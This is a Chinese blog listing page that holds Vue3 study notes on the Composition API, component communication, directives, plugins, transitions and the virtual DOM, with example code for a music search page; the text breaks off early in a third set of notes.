首页
留言
友情链接
标签页
Search
1
那些顶级不落俗套的“美好祝福”
1,897 阅读
2
如何使用JavaScript获取和设置CSS root变量值
1,283 阅读
3
中国历史朝代顺序图
974 阅读
4
春和 《江海共余生》
895 阅读
5
唐诗三百首1-5
681 阅读
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
今日话题
登录
/
注册
Search
标签搜索
一年级语文
sunshine
累计撰写
170
篇文章
累计收到
15
条评论
首页
栏目
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
今日话题
页面
留言
友情链接
标签页
搜索到
169
篇与
的结果
2022-12-24
Vue3 学习笔记(四)
章节介绍本章将学习Vue3组合式API详解 - 大型应用的高端写法。本章学习目标本章将学习Vue3组合式API(即:Composition API),组合式API是Vue3组织代码的一种新型写法,有别于选项式的API。学会使用这种风格进行编程,并应用在项目之中。什么是组合式API组合式API是有别于选项式API的另一种新型写法,它更适合编写复杂的应用,假如我们要完成一个搜索功能,可能会有如下功能需要实现:搜索提示列表搜索结果列表搜索记录列表 搜索案例 那么分别通过选项式和组合式是如何组织和实现代码的呢?可以发现选项式组织代码的时候,代码的跳跃性特别的强,对于后期维护特别的不方便;而组合式则是把相同功能的代码放到一起,功能独立,易于维护。 选项式VS组合式 课程安排-setup方法与script_setup及ref响应式-事件方法_计算属性_reactive_toRefs-生命周期_watch_watchEffect-跨组件通信方案provide_inject-复用组件功能之use函数-利用defineProps与defineEmits进行组件通信-利用组合式API开发复杂的搜索功能-利用组合式API开发搜索提示列表-利用组合式API开发搜索结果列表-利用组合式API开发搜索历史列表setup方法与script_setup及ref响应式setup方法与script_setup在Vue3.1版本的时候,提供了setup方法;而在Vue3.2版本的时候,提供了script_setup属性。那么setup属性比setup方法对于操作组合式API来说会更加的简易。 <template> <div> <h2>setup方法</h2> {{ count }} </div> </template> // Vue3.1 <script> export default { setup () { let count = 0; return { count } } } </script> // Vue3.2 <script setup> let count = 0; </script>setup方法是需要把数据进行return后,才可以在template标签中进行使用,而setup属性方式定义好后就可以直接在template标签中进行使用。ref响应式如何在组合式API中来完成数据的响应式操作,通过的就是ref()方法,需要从vue模块中引入这个方法后才可以使用。<script setup> import { ref } from 'vue'; let count = ref(0); // count -> { value: 0 } //count += 1; //✖ count.value += 1; // ✔ </scirpt>count数据的修改,需要通过count.value的方式,因为vue底层对响应式数据的监控必须是对象的形式,所以我们的count返回的并不是一个基本类型,而是一个对象类型,所以需要通过count.value进行后续的操作,那么这种使用方式可能会添加我们的心智负担,还好可以通过Volar插件可以自动完成.value的生成,大大提升了使用方式。那么现在count就具备了响应式变化,从而完成视图的更新操作。那么ref()方法还可以关联原生DOM,通过标签的ref属性结合到一起,也可以关联到组件上。<template> <div> <h2 ref="elem">setup属性方式</h2> </div> </template> <script setup> import { ref } from 'vue'; let elem = ref(); setTimeout(()=>{ console.log( elem.value ); //拿到对应的原生DOM元素 }, 1000) </script>事件方法_计算属性 reactive_toRefs事件方法与计算属性下面看一下在组合式API中是如何实现事件方法和计算属性的。<template> <div> <button @click="handleChange">点击</button> {{ count }}, {{ doubleCount }} </div> </template> <script setup> import { computed, ref } from 'vue'; let count = ref(0); let doubleCount = computed(()=> count.value * 2) let handleChange = () => { count.value += 1; }; </script>事件方法直接就定义成一个函数,计算属性需要引入computed方法,使用起来是非常简单的。reactive与toRefsreactive()方法是组合式API中另一种定义响应式数据的实现方式,它是对象的响应式副本。<template> <div> <h2>reactive</h2> {{ state.count }} </div> </template> <script setup> import { reactiv} from 'vue'; let state = reactive({ count: 0, message: 'hi vue' }) state.count += 1; </script>reactive()方法返回的本身就是一个state对象,那么在修改的时候就不需要.value操作了,直接可以通过state.count的方式进行数据的改变,从而影响到视图的变化。ref()和reactive()这两种方式都是可以使用的,一般ref()方法针对基本类型的响应式处理,而reactive()针对对象类型的响应式处理,当然还可以通过toRefs()方法把reactive的代码转换成ref形式。<template> <div> <h2>reactive</h2> {{ state.count }}, {{ count }} </div> </template> <script setup> import { reactive, toRefs } from 'vue'; let state = reactive({ count: 0 }) let { count } = toRefs(state); // let count = ref(0) setTimeout(() => { //state.count += 1; count.value += 1; }, 1000) </script>生命周期_watch_watchEffect生命周期钩子函数在学习选项式API的时候,我们学习了生命周期钩子函数,那么在组合式API中生命周期又是如何使用的呢?下面我们从图中先看一下对比的情况吧。 生命周期对比 那么具体的区别如下:组合式中是没有beforeCreate和created这两个生命周期,因为本身在组合式中默认就在created当中,直接定义完响应式数据后就可以直接拿到响应式数据,所以不需要再有beforeCreate和created这两个钩子组合式的钩子前面会有一个on,类似于事件的特性,那就是可以多次重复调用<script> import { onMounted, ref } from 'vue'; let count = ref(0); onMounted(()=>{ console.log( count.value ); }); onMounted(()=>{ console.log( count.value ); }); onMounted(()=>{ console.log( count.value ); }); </script>watch与watchEffect这里先说一下watchEffect的用法,为了根据响应式状态自动应用和重新应用副作用,我们可以使用 watchEffect 函数。它立即执行传入的一个函数,同时响应式追踪其依赖,并在其依赖变更时重新运行该函数。watchEffect常见特性:一开始会初始触发一次,然后所依赖的数据发生改变的时候,才会再次触发触发的时机是数据响应后,DOM更新前,通过flush: 'post' 修改成DOM更新后进行触发返回结果是一个stop方法,可以停止watchEffect的监听提供一个形参,形参主要就是用于清除上一次的行为<template> <div> <h2>watchEffect</h2> <div>{{ count }}</div> </div> </template> <script setup> import { ref, watchEffect } from 'vue'; let count = ref(0); // const stop = watchEffect(()=>{ // console.log(count.value); // }, { // flush: 'post' // }) // setTimeout(()=>{ // stop(); // }, 1000) // setTimeout(()=>{ // count.value += 1; // }, 2000) watchEffect((cb)=>{ console.log(count.value); cb(()=>{ //更新前触发和卸载前触发,目的:清除上一次的行为(停止上一次的ajax,清除上一次的定时器) console.log('before update'); }) }) setTimeout(()=>{ count.value += 1; }, 2000) </script>再来看一下watch侦听器的使用方式,如下:<script setup> import { ref, watch } from 'vue'; let count = ref(0); watch(count, (newVal, oldVal) => { console.log(newVal, oldVal); }) setTimeout(()=>{ count.value = 1; }, 2000) </script>那么watch与watchEffect的区别是什么呢?懒执行副作用更具体地说明什么状态应该触发侦听器重新运行访问侦听状态变化前后的值跨组件通信方案provide_inject依赖注入在Vue中把跨组件通信方案provide_inject也叫做依赖注入的方式,前面我们在选项式中也学习了它的基本概念,下面看一下在组合式API中改如何使用。// provide.vue <template> <div> <my-inject></my-inject> </div> </template> <script setup> import MyInject from '@/inject.vue' import { provide, ref, readonly } from 'vue' //传递响应式数据 let count = ref(0); let changeCount = () => { count.value = 1; } provide('count', readonly(count)) provide('changeCount', changeCount) setTimeout(()=>{ count.value = 1; }, 2000) </script> //inject.vue <template> <div> <div>{{ count }}</div> </div> </template> <script setup> import { inject } from 'vue' let count = inject('count') let changeCount = inject('changeCount') setTimeout(()=>{ changeCount(); }, 2000); </script>依赖注入使用的时候,需要注意的点:不要在inject中修改响应式数据,可利用回调函数修改为了防止可设置成 readonly复用组件功能之use函数为了更好的组合代码,可以创建统一规范的use函数,从而抽象可复用的代码逻辑。利用use函数可以达到跟mixin混入一样的需求,并且比mixin更加强大。// useCounter.js import { computed, ref } from 'vue'; function useCounter(num){ let count = ref(num); let doubleCount = computed(()=> count.value * 2 ); return { count, doubleCount } } export default useCounter;<template> <div> <h2>use函数</h2> <div>{{ count }}, {{ doubleCount }}</div> </div> </template> <script setup> import useCounter from '@/compotables/useCounter.js' let { count, doubleCount } = useCounter(123); setTimeout(()=>{ count.value += 1; }, 2000); </script>通过useCounter函数的调用,就可以得到内部return出来的对象,这样就可以在.vue文件中进行功能的使用,从而实现功能的复用逻辑。利用defineProps与defineEmits进行组件通信在组合式API中,是通过defineProps与defineEmits来完成组件之间的通信。definePropsdefineProps是用来完成父子通信的,基本使用跟选项式中的props非常的像,代码如下:// parent.vue <template> <div> <h2>父子通信</h2> <my-child :count="0" message="hello world"></my-child> </div> </template> <script setup> import MyChild from '@/child.vue' </script> // child.vue <template> <div> <h2>hi child, {{ count }}, {{ message }}</h2> </div> </template> <script setup> import { defineProps } from 'vue' const state = defineProps({ // defineProps -> 底层 -> reactive响应式处理的 count: { type: Number }, message: { type: String } }); console.log( state.count, state.message ); </script>defineEmitsdefineEmits是用来完成子父通信的,基本使用跟选项式中的emits非常的像,代码如下:// parent.vue <template> <div> <h2>子父通信</h2> <my-child @custom-click="handleClick"></my-child> </div> </template> <script setup> import MyChild from '@/child.vue' let handleClick = (data) => { console.log(data); } </script> // child.vue <script setup> import { defineEmits } from 'vue' const emit = defineEmits(['custom-click']); setTimeout(()=>{ emit('custom-click', '子组件的数据'); }, 2000) </script>利用组合式API开发复杂的搜索功能从本小节我们要完成章节介绍中出现的搜索页面,利用组合式API去实现。先进行开发前的准备工作。数据接口后端地址:https://github.com/Binaryify/NeteaseCloudMusicApi后端接口: 搜索建议:/search/suggest?keywords=海阔天空 搜索结果:/search?keywords=海阔天空反向代理由于我们的前端是localhost:8080,而后端是localhost:3000,这样会存在跨域问题,所以可以通过脚手架下的vue.config.js进行反向代理的配置。// vue.config.js const { defineConfig } = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true, runtimeCompiler: true, devServer: { proxy: { '/api': { target: 'http://localhost:3000', changeOrigin: true, pathRewrite: { '^/api': '' } } } } })布局与样式我们提前把布局和样式做好了,直接在上面进行逻辑的开发,可直接查看 13_search.vue 这个文件,到此我们已经准备好了开发前的准备工作。利用组合式API开发搜索提示列表本小节完成搜索页面的提示列表功能。<template> <div class="search-input"> <i class="iconfont iconsearch"></i> <input type="text" placeholder="搜索歌曲" v-model="searchWord" @input="handleToSuggest"> <i v-if="searchWord" @click="handleToClose" class="iconfont iconguanbi"></i> </div> <template v-if="searchType == 1"> ... </template> <template v-else-if="searchType == 2"> ... </template> <template v-else-if="searchType == 3"> <div class="search-suggest"> <div class="search-suggest-head">搜索“ {{ searchWord }} ”</div> <div class="search-suggest-item" v-for="item in suggestList" :key="item.id" @click="handleItemResult(item.name), handleAddHistory(item.name)"> <i class="iconfont iconsearch"></i>{{ item.name }} </div> </div> </template> </template> <script setup> import { ref } from 'vue'; import axios from 'axios'; import '@/assets/iconfont/iconfont.css'; function useSearch(){ let searchType = ref(1); let searchWord = ref(''); let handleToClose = () => { searchWord.value = ''; searchType.value = 1; }; return { searchType, searchWord, handleToClose } } function useSuggest(){ let suggestList = ref([]); let handleToSuggest = () => { if(searchWord.value){ searchType.value = 3; axios.get(`/api/search/suggest?keywords=${searchWord.value}`).then((res)=>{ let result = res.data.result; if(!result.order){ return; } let tmp = []; for(let i=0;i<result.order.length;i++){ tmp.push(...result[result.order[i]]); } suggestList.value = tmp; }) } else{ searchType.value = 1; } }; return { suggestList, handleToSuggest } } let { searchType, searchWord, handleToClose } = useSearch(); let { suggestList, handleToSuggest } = useSuggest(); </script>利用组合式API开发搜索结果列表本小节完成搜索页面的结果列表功能。<template> <div class="search-input"> <i class="iconfont iconsearch"></i> <input type="text" placeholder="搜索歌曲" v-model="searchWord" @input="handleToSuggest" @keydown.enter="handleToResult($event)"> <i v-if="searchWord" @click="handleToClose" class="iconfont iconguanbi"></i> </div> <template v-if="searchType == 1"> ... </template> <template v-else-if="searchType == 2"> <div class="search-result"> <div class="search-result-item" v-for="item in resultList" :key="item.id"> <div class="search-result-word"> <div>{{ item.name }}</div> </div> <i class="iconfont iconbofang"></i> </div> </div> </template> <template v-else-if="searchType == 3"> ... </template> </template> <script setup> import { ref } from 'vue'; import axios from 'axios'; import '@/assets/iconfont/iconfont.css'; function useSearch(){ ... } function useSuggest(){ ... } function useResult(){ let resultList = ref([]); let handleToResult = () => { if(!searchWord.value){ return; } axios.get(`/api/search?keywords=${searchWord.value}`).then((res)=>{ let result = res.data.result; if(!result.songs){ return; } searchType.value = 2; resultList.value = result.songs; }) }; let handleItemResult = (name) => { searchWord.value = name; handleToResult(); }; return { resultList, handleToResult, handleItemResult } } let { searchType, searchWord, handleToClose } = useSearch(); let { suggestList, handleToSuggest } = useSuggest(); let { resultList, handleToResult, handleItemResult } = useResult(); </script>利用组合式API开发搜索历史列表本小节完成搜索页面的历史列表功能。<template> <div class="search-input"> <i class="iconfont iconsearch"></i> <input type="text" placeholder="搜索歌曲" v-model="searchWord" @input="handleToSuggest" @keydown.enter="handleToResult($event), handleAddHistory($event)"> <i v-if="searchWord" @click="handleToClose" class="iconfont iconguanbi"></i> </div> <template v-if="searchType == 1"> <div class="search-history"> <div class="search-history-head"> <span>历史记录</span> <i class="iconfont iconlajitong" @click="handleToClear"></i> </div> <div class="search-history-list"> <div v-for="item in historyList" :key="item" @click="handleItemResult(item)">{{ item }}</div> </div> </div> </template> <template v-else-if="searchType == 2"> ... </template> <template v-else-if="searchType == 3"> ... </template> </template> <script setup> import { ref } from 'vue'; import axios from 'axios'; import '@/assets/iconfont/iconfont.css'; function useSearch(){ ... } function useSuggest(){ ... } function useResult(){ ... } function useHistory(){ let key = 'searchHistory'; let getSearchHistory = () => { return JSON.parse(localStorage.getItem(key) || '[]'); }; let setSearchHistory = (list) => { localStorage.setItem(key, JSON.stringify(list)); }; let clearSearchHistory = () => { localStorage.removeItem(key); }; let historyList = ref(getSearchHistory()); let handleAddHistory = (arg) => { if(!searchWord.value){ return; } if(typeof arg === 'string'){ searchWord.value = arg; } historyList.value.unshift(searchWord.value); historyList.value = [...new Set(historyList.value)]; setSearchHistory(historyList.value); }; let handleToClear = () => { clearSearchHistory(); historyList.value = []; }; return { historyList, handleAddHistory, handleToClear }; } let { searchType, searchWord, handleToClose } = useSearch(); let { suggestList, handleToSuggest } = useSuggest(); let { resultList, handleToResult, handleItemResult } = useResult(); let { historyList, handleAddHistory, handleToClear } = useHistory(); </script>总结内容了解了什么是组合式API,具备怎么的特性学习常见的组合式API语法,如:ref、reactive、watchEffect等组合式API之间的通信方案,如:父子组件、跨组件等通过实战案例,复杂的搜索应用,体验组合式的强大
2022年12月24日
254 阅读
0 评论
1 点赞
2022-12-23
Vue3 学习笔记(三)
-ref属性在元素和组件上的分别使用-利用nextTick监听DOM更新后的情况-自定义指令与自定义全局属性及应用场景-复用组件功能之Mixin混入-插件的概念及插件的实现-Element Plus框架的安装与使用-transition动画与过渡的实现-动态组件与keep-alive组件缓存-异步组件与Suspense一起使用-跨组件间通信方案 Provide_Inject-Teleport实现传送门功能-虚拟DOM与render函数及Diff算法ref属性在元素和组件上的分别使用ref属性Vue是基于MVVM设计模式进行实现的,视图与数据不直接进行通信,但是Vue并没有完全遵循这一原则,而是允许开发者直接进行原生DOM操作。在Vue中可通过ref属性来完成这一行为,通过给标签添加ref属性,然后再通过vm.$refs来获取DOM,代码如下:<template> <div> <h2>ref属性</h2> <button @click="handleClick">点击</button> <div ref="elem">aaaaaaaaa</div> <div ref="elem2">bbbbbbbbb</div> </div> </template> <script> export default { methods: { handleClick(){ // ref属性添加到元素身上,可以获取到当前元素的原生DOM console.log( this.$refs.elem ); console.log( this.$refs.elem2 ); } } } </script>除了可以把ref属性添加给DOM元素外,还可以把ref属性添加给组件,这样可以获取到组件的实例对象,可以间接的实现组件之间的通信,代码如下:<template> <div> <h2>ref属性</h2> <my-head ref="elem3"></my-head> </div> </template> <script> import MyHead from '@/2_头部组件.vue' export default { methods: { handleClick(){ // ref属性添加到组件身上,可以获取到当前组件的vm对象(实例对象) console.log( this.$refs.elem3 ); console.log( this.$refs.elem3.message ); this.$refs.elem3.handleMessage('根组件的数据'); //$refs 也可以实现间接的父子通信 } } } </script>2_头部组件.vue文件:<template> <div> hello myhead </div> </template> <script> export default { data(){ return { message: '头部组件的消息' } }, methods: { handleMessage(data){ console.log(data); } } } </script>利用nextTick监听DOM更新后的情况nextTick方法,它的主要作用是将回调推迟到下一个 DOM 更新周期之后执行。在更改了一些数据以等待 DOM 更新后立即使用它。默认情况下,数据的更新会产生一个很小的异步延迟,所以直接再数据改变后取获取DOM是得不到DOM更新后的结果,而得到的是DOM更新前的结果。<template> <div> <h2>hello nextTick</h2> <div ref="elem">{{ message }}</div> </div> </template> <script> export default { data(){ return { message: 'hello world' } }, mounted(){ setTimeout(()=>{ this.message = 'hi vue'; console.log( this.$refs.elem.innerHTML ); // 'hello world' }, 2000) } } </script>如何才能得到DOM更新后的结果呢,可以有两种方案,第一种就是利用生命周期updated这个钩子函数,第二种就是利用我们讲的nextTick方法,支持两种风格即回调和promise。<template> <div> <h2>hello nextTick</h2> <div ref="elem">{{ message }}</div> </div> </template> <script> export default { data(){ return { message: 'hello world' } }, mounted(){ setTimeout(()=>{ this.message = 'hi vue'; /* this.$nextTick(()=>{ console.log( this.$refs.elem.innerHTML ); // 'hi vue' }) */ this.$nextTick().then(()=>{ console.log( this.$refs.elem.innerHTML ); // 'hi vue' }) }, 2000) }, updated(){ console.log( this.$refs.elem.innerHTML ); // 'hi vue' } } </script>自定义指令与自定义全局属性及应用场景除了核心功能默认内置的指令 (例如 v-model 和 v-show),Vue 也允许注册自定义指令,来实现一些封装功能。自定义指令的实现首先来实现一个简单的v-color指令,用于给元素添加背景色,代码如下:<template> <div> <h2>自定义指令</h2> <div @click="handleClick" v-color="color">aaaaaaa</div> </div> </template> <script> export default { data(){ return { color: 'red' } }, //创建局部的自定义指令 directives: { /* color: { mounted(el, binding){ el.style.background = binding.value }, updated(el, binding){ el.style.background = binding.value } } */ color: (el, binding) => { el.style.background = binding.value } } } </script>这里的回调函数是指令中mounted生命周期和updated生命周期的简写方式。下面我们来完成一个实际可以应用的指令,按钮权限指令,一般情况下这种指令不会局部使用,而是全局使用,所以可以通过vue来实现一个全局的按钮权限指令,代码如下:// main.js app.directive('auth', (el, binding) => { let auths = ['edit', 'delete']; let ret = auths.includes(binding.value); if(!ret){ el.style.display = 'none'; } }); // demo.vue <template> <button v-auth="'edit'">编辑</button> </template>自定义全局属性添加一个可以在应用的任何组件实例中访问的全局 property,这样在引入一些第三方模块的时候,就不用每一次进行import操作,而是直接通过this对象去访问全局属性即可,下面举一个例子,实现一个http的全局属性。// main.js app.config.globalProperties.$http = http; //demo.vue <script> export default { created(){ this.$http.get(); } } </script>复用组件功能之Mixin混入Mixin混入了解一下mixin混入,它是选项式API的一种复用代码的形式,可以非常灵活的复用功能。// mymixin.js const myMixin = { data(){ return { message: '复用的数据' } }, computed: { message2(){ return '复用的数据2' } } }; export { myMixin } // mymixin.vue <template> <div> <h2>mixin混入</h2> <div>{{ message }}</div> <div>{{ message2 }}</div> </div> </template> <script> import { myMixin } from '@/mymixin.js' export default { mixins: [myMixin] } </script>这样就可以直接在.vue中使用这些混入的功能。当然这种方式是局部混入写法,也可以进行全局混入的写法,代码如下:// main.js import { myMixin } from '@/mymixin.js' app.mixin(myMixin)mixin存在的问题也是有的,那就是不够灵活,不支持传递参数,这样无法做到差异化的处理,所以目前比较推荐的复用操作还是选择使用组合式API中的use函数来完成复用的逻辑处理。插件的概念及插件的实现插件是自包含的代码,通常向 Vue 添加全局级功能。例如:全局方法、全局组件、全局指令、全局mixin等等。基于Vue的第三方模块都是需要通过插件的方式在Vue中进行生效的,比如:Element Plus、Vue Router、Vuex等等。// myplugin.js import * as http from '@/http.js' export default { install(app, options){ console.log(options); app.config.globalProperties.$http = http; app.directive('auth', (el, binding) => { let auths = ['edit', 'delete']; let ret = auths.includes(binding.value); if(!ret){ el.style.display = 'none'; } }); app.component('my-head', { template: `<div>hello myhead</div>` }) } } // main.js 让插件生效 import myplugin from './myplugin.js' app.use(myplugin, { info: '配置信息' })可以看到,让插件生效的语法为app.use,这样就可以跟Vue结合到一起,所以插件就可以独立出去,成为第三方模块。Element Plus框架的安装与使用前面小节中介绍了自定义插件的实现,那么本小节来看下一比较出名的第三方插件Element Plus如何安装与使用。Element Plus框架Element Plus是一套基于PC端的组件库,可以直接应用到很多管理系统的后台开发中,使用前需要先下载安装,除了下载组件库以外,最好也下载组件库对应的icon图标模块,如下:npm install element-plus @element-plus/icons-vue接下来把element plus完整引入到Vue中,包装全局组件,全局样式。import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' import * as ElementPlusIconsVue from '@element-plus/icons-vue' app.use(ElementPlus) for (const [key, component] of Object.entries(ElementPlusIconsVue)) { app.component(key, component) }基本使用方式element plus中提供了非常多的常见组件,例如:按钮、评分、表单控件等等。<template> <div> <h2>element plus</h2> <el-button @click="handleClick" type="primary" icon="Clock">Primary</el-button> <el-button @click="handleClick2" type="success">Success</el-button> <el-rate v-model="value1" /> <el-icon><Clock /></el-icon> </div> </template> <script> import { ElMessage, ElNotification } from 'element-plus'; export default { data(){ return { value1: 3 } }, mounted(){ setTimeout(()=>{ this.value1 = 5; }, 2000) }, methods: { handleClick(){ ElMessage.success('提示成功的消息'); }, handleClick2(){ ElNotification({ title: '邮件', message: '您今日的消费记录' }); } } } </script>除了常见的组件外,element plus中也提供了一些逻辑组件,这些逻辑组件是可以直接在JavaScript中进行使用,例如:ElMessage,ElNotification等方法。transition动画与过渡的实现在Vue中推荐使用CSS3来完成动画效果。当在插入、更新或从 DOM 中移除项时,Vue 提供了多种应用转换效果的方法。transition动画Vue中通过两个内置的组件来实现动画与过渡效果,分别是:<transition>和<transition-group>,代码如下:<template> <div> <h2>hello transition</h2> <button @click=" isShow = !isShow ">点击</button> <transition name="slide" mode="out-in"> <div v-if="isShow" class="box"></div> <div v-else class="box2"></div> </transition> </div> </template> <script> export default { data(){ return { isShow: true } } } </script> <style scoped> .box{ width: 200px; height: 200px; background: skyblue; } .box2{ width: 200px; height: 200px; background: pink; } .slide-enter-from{ opacity: 0; transform: translateX(200px); } .slide-enter-to{ opacity: 1; transform: translateX(0); } .slide-enter-active{ transition: 1s; } .slide-leave-from{ opacity: 1; transform: translateX(0); } .slide-leave-to{ opacity: 0; transform: translateX(200px); } .slide-leave-active{ transition: 1s; } </style>其中<transition>组件通过name属性去关联CSS中的选择器,CSS中的选择器主要有6种,分别:v-enter-from:进入动画的起始状态。在元素插入之前添加,在元素插入完成后的下一帧移除。v-enter-active:进入动画的生效状态。应用于整个进入动画阶段。在元素被插入之前添加,在过渡或动画完成之后移除。这个 class 可以被用来定义进入动画的持续时间、延迟与速度曲线类型。v-enter-to:进入动画的结束状态。在元素插入完成后的下一帧被添加 (也就是 v-enter-from 被移除的同时),在过渡或动画完成之后移除。v-leave-from:离开动画的起始状态。在离开过渡效果被触发时立即添加,在一帧后被移除。v-leave-active:离开动画的生效状态。应用于整个离开动画阶段。在离开过渡效果被触发时立即添加,在过渡或动画完成之后移除。这个 class 可以被用来定义离开动画的持续时间、延迟与速度曲线类型。v-leave-to:离开动画的结束状态。在一个离开动画被触发后的下一帧被添加 (也就是 v-leave-from 被移除的同时),在过渡或动画完成之后移除。 动画与过渡 默认情况下,进入和离开在两个元素身上是同时执行的,如果想改变其顺序,需要用到mode属性,其中out-in表示先离开再进入,而in-out表示先进入再离开。动态组件与keep-alive组件缓存动态组件动态组件可以实现在同一个容器内动态渲染不同的组件,依一个内置组件<component>的is属性的值,来决定使用哪个组件进行渲染。<template> <div> <h2>动态组件</h2> <button @click=" nowCom = 'my-com1' ">组件1</button> <button @click=" nowCom = 'my-com2' ">组件2</button> <button @click=" nowCom = 'my-com3' ">组件3</button> <component :is="nowCom"></component> </div> </template> <script> import MyCom1 from '@/13_MyCom1.vue' import MyCom2 from '@/14_MyCom2.vue' import MyCom3 from '@/15_MyCom3.vue' export default { data(){ return { nowCom: 'my-com1' } }, components: { 'my-com1': MyCom1, 'my-com2': MyCom2, 'my-com3': MyCom3 } } </script>keep-alive组件当我们点击的时候,就会进行组件的切换。在每次切换的过程中都会重新执行组件的渲染,这样组件操作的行为就会还原,而我们如何能够保证组件不变呢?可以利用<keep-alive>对组件进行缓存,这样不管如何切换,都会保持为初始的组件渲染,这样可以很好的保留之前组件的行为。组件的切换也可以配合<transition>完成动画的切换。<template> <div> <h2>动态组件</h2> <button @click=" nowCom = 'my-com1' ">组件1</button> <button @click=" nowCom = 'my-com2' ">组件2</button> <button @click=" nowCom = 'my-com3' ">组件3</button> <transition name="slide" mode="out-in"> <keep-alive> <component :is="nowCom"></component> </keep-alive> </transition> </div> </template>异步组件与Suspense一起使用异步组件在大型应用中,我们可能需要将应用分割成小一些的代码块,并且只在需要的时候才从服务器加载一个模块。在上一个小节的动态组件的基础上,进行异步组件的演示。首先可以打开chrome浏览器的network网络,可以观察到在动态组件切换的时候,network网络中没有进行任何请求的加载,这证明了在初始的时候,相关的动态组件就已经加载好了。所以对于大型项目来说,如果能实现按需载入的话,那么势必会对性能有所提升,在Vue中主要就是利用defineAsyncComponent来实现异步组件的。<script> import { defineAsyncComponent } from 'vue' export default { data(){ return { nowCom: 'my-com1' } }, components: { 'my-com1': defineAsyncComponent(() => import('@/MyCom1.vue')), 'my-com2': defineAsyncComponent(() => import('@/MyCom2.vue')), 'my-com3': defineAsyncComponent(() => import('@/MyCom3.vue')) } } </script>Suspense组件由于异步组件是点击切换的时候才去加载的,所以可能会造成等待的时间,那么这个时候可以配合一个loading效果,在Vue中提供了一个叫做<Suspense>的组件用来完成loading的处理。<template> <suspense> <component :is="nowCom"></component> <template #fallback> <div>loading...</div> </template> </suspense> </template>跨组件间通信方案 Provide_Inject跨组件通信方案正常情况下,我们的组件通信是需要一级一级的进行传递,通过父子通信的形式,那么如果有多层嵌套的情况下,从最外层把数据传递给最内层的组件就非常的不方便,需要一级一级的传递下来,那么如何才能方便的做到跨组件通信呢?可以采用Provide 和 inject 依赖注入的方式来完成需求,代码如下: 依赖注入 // provide.vue <script> export default { provide(){ return { message: 'hello provide', count: this.count, getInfo(data){ console.log(data); } } } } </script> // inject.vue <template> <div> hello inject, {{ message }}, {{ count }} </div> </template> <script> export default { inject: ['message', 'getInfo', 'count'], mounted(){ this.getInfo('hello inject'); } } </script>Provide与Inject注意点保证数据是单向流动的,从一个方向进行数据的修改如果要传递响应式数据,需要把provide改造成工厂模式发送数据Teleport实现传送门功能Teleport组件Teleport可以实现传送门功能,也就是说逻辑属于当前组件中,而结构需要在组件外进行渲染,例如:按钮模态框组件。// 模态框.vue <template> <div> <button @click=" isShow = true ">点击</button> <teleport to="body"> <div v-if="isShow">模态框</div> </teleport> </div> </template> <script> export default { data(){ return { isShow: false } } } </script> // 调用模态框.vue <template> <div> <h2>传送门</h2> <my-modal></my-modal> </div> </template> <script> import MyModal from '@/模态框.vue' export default { components: { 'my-modal': MyModal } } </script>逻辑组件但是往往我们需要的并不是普通组件的调用方式,而是逻辑组件的调用方式,那么如何实现逻辑组件呢?代码如下:// 定义逻辑组件,modal.js import { createApp } from 'vue'; import ModalVue from '@/模态框.vue'; function modal(){ let div = document.createElement('div'); createApp(ModalVue).mount(div); document.body.append(div); } export default modal;// 调用逻辑组件 <template> <div> <h2>传送门</h2> <button @click="handleClick">点击</button> </div> </template> <script> import modal from '@/modal.js' export default { methods: { handleClick(){ modal(); } } } </script>13-虚拟DOM与render函数及Diff算法虚拟DOMVue框架帮我们完成了大量的DOM操作,那么在底层Vue并没有直接操作真实的DOM,因为真实的DOM直接去操作是非常耗性能的,所以最好在JS环境下进行操作,然后再一次性进行真实DOM的操作。const vnode = { type: 'div', props: { id: 'hello' }, children: [ /* 更多 vnode */ ] }那么在Vue中是如何把<template>模板中的字符串编译成虚拟DOM的呢?需要用到内置的render函数,这个函数可以把字符串转换成虚拟DOM。 虚拟DOM Diff算法当更新的时候,一个依赖发生变化后,副作用会重新运行,这时候会创建一个更新后的虚拟 DOM 树。运行时渲染器遍历这棵新树,将它与旧树进行比较,然后将必要的更新应用到真实 DOM 上去。而两个虚拟DOM进行对比的时候,需要加入一些算法提高对比的速度,这个就是Diff算法。 Diff算法 在脚手架下我们推荐使用来完成结构的编写,那么也可以直接通过render函数进行虚拟DOM的创建,代码如下:<!-- <template> <div> <h2>render</h2> </div> </template> --> <script> import { h } from 'vue'; export default { render(){ return h('div', h('h2', 'render2')) } } </script> <style scoped> </style>总结内容ref属性、nextTick方法自定义指令、Mixin混入插件的概念、Element Plus框架的使用动画与过渡、动态组件、异步组件跨组件通信、传送门、虚拟DOM与render函数
2022年12月23日
107 阅读
0 评论
0 点赞
2022-12-23
Vue3 学习笔记(二)
02-组件的概念及组件的基本使用方式03-组件之间是如何进行互相通信的04-组件的属性与事件是如何进行处理的05-组件的内容是如何组合与分发处理的06-仿Element Plus框架的el-button按钮组件实现07-单文件组件SFC及Vue CLI脚手架的安装使用08-脚手架原理之webpack处理html文件和模块打包09-脚手架原理之webpack启动服务器和处理sourcemap10-脚手架原理之webpack处理样式模块和图片模块11-脚手架原理之webpack处理单文件组件及loader转换12-Vite3介绍及基本使用13-仿Element Plus的el-rate评分组件实现(单文件组件)官网地址:https://cn.vuejs.org/Vue.js文件下载地址下载地址:https://unpkg.com/vue@3.2.36/dist/vue.global.js组件的概念及组件的基本使用方式组件的概念组件是带有名称的可复用实例,通常一个应用会以一棵嵌套的组件树的形式来组织,比如:页头、侧边栏、内容区等组件。 vue组件 组件可以拥有自己独立的结构,样式,逻辑。这样对于后期的维护是非常方便的。下面给出评分组件与按钮组件的抽离过程。 组件的划分 组件的命名方式与规范定义组件可通过驼峰、短线两种风格定义调用组件推荐短线方式<div id="app"> <my-head></my-head> </div> <script> let app = Vue.createApp({ data(){ return { } } }) app.component('my-head', { template: ` <header> <div>{{ message }}</div> <h2>logo</h2> <ul> <li>首页</li> <li>视频</li> <li>音乐</li> </ul> </header>`, data(){ return { message: 'hello world' } } }); let vm = 